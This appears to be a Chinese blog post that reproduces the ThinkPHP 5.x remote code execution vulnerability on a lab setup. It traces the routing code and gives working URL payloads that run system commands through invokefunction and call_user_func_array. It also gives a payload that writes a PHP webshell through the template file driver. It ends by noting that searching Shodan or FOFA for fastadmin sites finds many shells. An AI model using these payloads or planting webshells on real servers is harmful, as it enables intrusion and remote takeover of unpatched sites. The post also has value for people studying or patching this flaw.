THINKPHP5 getshell

复现环境

以别人搭建好的5.1.29环境:
https://github.com/vulnspy/thinkphp-5.1.29

代码追踪

index.php

THINKPHP5 getshell_第1张图片

Container::get(‘app’)

THINKPHP5 getshell_第2张图片

最终调用invokeReflectMethod(),指定对应类的对应方法,传入对应参数。
THINKPHP5 getshell_第3张图片

关键

parseModuleAndClass方法中,当$name以反斜线"\"开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

THINKPHP5 getshell_第4张图片
比如这个paylaod:

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

就表示执行think\appr类(即thinkphp\library\think\app.php)文件的invokefunction方法,而这个方法的声明为:

invokeFunction(function, vars[])

即执行call_user_func_array("system", ['id'])
参考:http://php.net/manual/en/function.call-user-func-array.php
命令行执行结果如下:
在这里插入图片描述
通过web执行结果如下:
THINKPHP5 getshell_第5张图片
THINKPHP5 getshell_第6张图片
5.0.20和5.1.29通用payload:

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写入webshell

找到thinkphp\library\think\template\driver\file.php文件,的write方法,需要传入两个参数:cacheFile, content。即文件名和文件内容,即可执行对应类的对应函数,写入任意内容。

http://192.168.170.148/thinkphp-5.1.29/public/index.php?s=/index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20system($_REQUEST[cmd]);%20?%3E&XDEBUG_SESSION_START=PHPSTORM

THINKPHP5 getshell_第7张图片
THINKPHP5 getshell_第8张图片

在shodan或者fofa上搜fastadmin(基于thinkphp5)的框架,可以找到大量shell…

参考:

https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ
https://xz.aliyun.com/t/3570
http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23及v5.1.31以下版本)_远程命令执行漏洞利用(getshell)/
https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650451158&idx=1&sn=ff2e74beefd52d2294271148f2f92a84

你可能感兴趣的:(Web)